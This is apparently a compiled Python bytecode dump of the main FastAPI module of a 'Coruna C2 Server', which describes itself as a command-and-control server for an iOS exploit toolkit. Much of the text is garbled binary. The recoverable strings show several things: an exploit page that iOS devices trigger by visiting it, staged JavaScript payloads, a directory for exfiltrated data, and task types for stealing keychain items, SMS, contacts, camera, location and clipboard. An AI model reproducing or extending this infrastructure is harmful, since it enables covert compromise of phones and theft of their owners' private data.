a Xj@sJdZddlmZmZmZmZddlmZddlm Z ddl m Z ddl m Z ddlZddlmZdd lmZmZdd lmZdd lmZmZmZmZmZmZmZeZe ed d dZedddedZej e dgddgdgde!ej"e!ej"e!ej"e!ej"e!ej"e!ej"edee#dddZ$ededddZ%ee&j'j'Z(e(ddZ)e)*rej+d ee#e)d!dd"ej,*rej+d#ee#ej,d!d$d"e(d%Z-e-*rej+d&ee#e-d!d%d"e(d'Z.e.*rej+d(ee#e.d!d'd"e(d)Z/e/*rDej+d*ee#e/d!d)d"ej0d+e d,d-d.Z1ej0d/e d,d0d1Z2e0d2d3d4Z3e0d5d6d7Z4e0d8d9d:Z5e0d;de#d?d@dAZ7ddBlm8Z8ddClm9Z9e:e8ee8dDdEdFZ;e:e<eedIkrFddl?Z?e?j@dJejAejBddKdLdS)MuFastAPI 主应用)FastAPIRequestDepends WebSocket) StaticFiles) HTMLResponse)CORSMiddleware)asynccontextmanagerN)Path)engineBase) get_config)devicestasksupload postexploitadmin websocketpayloadsappcCsxtjjtdtjjdddtjjdddtjjdddt dt dt dtj dtj dVt d dS) u应用生命周期管理)bindT)parentsexist_okz[OK] Database initializedz[OK] Directories createdz[OK] Server running on: http://:NzShutting down...) r metadataZ create_allr config EXFIL_DIRmkdirZLOG_DIRZ PAYLOADS_DIRprintHOSTPORTrr"!/root/Coruna-main/backend/main.pylifespansr$Coruna C2 Serverz2Command and Control server for iOS exploit toolkit1.0.0)title descriptionversionr$*T)Z allow_originsZallow_credentialsZ allow_methodsZ allow_headersz/ws/device/{device_uuid})r device_uuidcs$ddlm}|||ddIdHdS)u设备 WebSocket 连接端点rwebsocket_endpointF)r+rNZ api.websocketr-)rr+r-r"r"r#websocket_device_endpointDs r/z /ws/admin)rcs"ddlm}||ddIdHdS)u 管理员 WebSocket 连接端点rr,T)rNr.)rr-r"r"r#websocket_admin_endpointKs r0frontendZstaticz/static) directory)namez/exfilZexfilZ downloadedz /downloadedrz /payloadsotherz/other/)Zresponse_classcsNtdd}|rJt|ddd}|WdS1s@0YdS)u根路径 - 返回管理面板r1z admin.htmlrutf-8encodingNa Coruna C2 Server

Coruna C2 Server

Server is running. API documentation available at /docs

WebSocket endpoints:

) project_rootexistsopenread)Z admin_htmlfr"r"r#rootrs  &r?z /group.htmlcsRtd}|rFt|ddd}|WdS1s<0YtdddS) u9漏洞利用页面 - iOS设备访问此页面触发漏洞z group.htmlr6r7r8Nz

group.html not found

content status_code)r:r;r<r=r)Z group_htmlr>r"r"r# group_pages &rDz/platform_module.jscsjtd}|r^t|ddd}|}Wdn1s<0Yddlm}||dd S|d d d S) u平台模块 JSzplatform_module.jsr6r7r8NrResponseapplication/javascriptrBZ media_type // Not foundr@rAr:r;r<r=fastapi.responsesrFZ module_filer>rBrFr"r"r#platform_module_jss&  rMz/utility_module.jscsjtd}|r^t|ddd}|}Wdn1s<0Yddlm}||dd S|d d d S) u工具模块 JSzutility_module.jsr6r7r8NrrErGrHrIr@rArJrLr"r"r#utility_module_jss&  rNz/healthcs ddddS)u健康检查端点Zhealthyz Coruna C2r&)statusserverr)r"r"r"r"r# health_checksrQz /api/infocsddtjtjgddS)u服务器信息r%r&) shellrZdownloadZ screenshotZkeychainZcontactZsmsZcameralocationZapp_listZ process_listZ wifi_scanZ clipboard)rPr)Zsupported_ios_versionsZexploit_stagesZ task_types)rZSUPPORTED_IOS_VERSIONSZEXPLOIT_STAGESr"r"r"r# server_infos rTz/{filename}.js)filenamecsddlm}t|d}|rdt|ddd}|}Wdn1sN0Y||dd Std |d}|rt|ddd}|}Wdn1s0Y||dd S|d d d S)uQ兜底路由 — 服务项目根目录下的所有 .js 文件（Stage1/2/3 等）rrEz.jsr6r7r8NrGrHr4rIr@rA)rKrFr:r;r<r=)rUrFZjs_filer>rBr"r"r# serve_root_jss & & rV) HTTPException) JSONResponserequestexccst|jd|j|jddS)uHTTP 异常处理T)errormessagerCrCrB)rXrCdetailrYr"r"r#http_exception_handlersr`cs:ddl}td|t|tdddt|ddS) u通用异常处理rNzUnhandled exception: iTzInternal server error)r\r]r_r^) tracebackr format_excrXstr)rZr[rar"r"r#general_exception_handlers rd__main__zbackend.main:appinfo)hostportreload log_level)C__doc__ZfastapirrrrZfastapi.staticfilesrrKrZfastapi.middleware.corsr contextlibr ospathlibr Zdatabaser r rr Zapirrrrrrrr$rZadd_middlewareZinclude_routerZrouterrcr/r0__file__parentr:Z static_dirr;ZmountrZdownloaded_dirZ payloads_dirZ other_dirgetr?rDrMrNrQrTrVrWrXZexception_handlerr` Exceptionrd__name__uvicornrunr r!r"r"r"r#s      $